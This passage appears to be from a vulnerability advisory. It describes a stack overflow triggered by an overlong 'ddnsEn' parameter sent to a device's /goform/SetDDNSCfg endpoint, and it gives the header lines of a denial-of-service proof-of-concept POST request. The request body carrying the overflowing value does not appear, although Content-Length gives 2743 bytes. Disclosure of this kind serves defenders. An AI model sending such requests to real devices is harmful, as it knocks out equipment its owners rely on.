

So attacker can construct a long ddnsEn parameter in the http request, which causes stack overflow.

## **POC**

Poc of Denial of Service(DoS):

```
POST /goform/SetDDNSCfg HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 2743
```

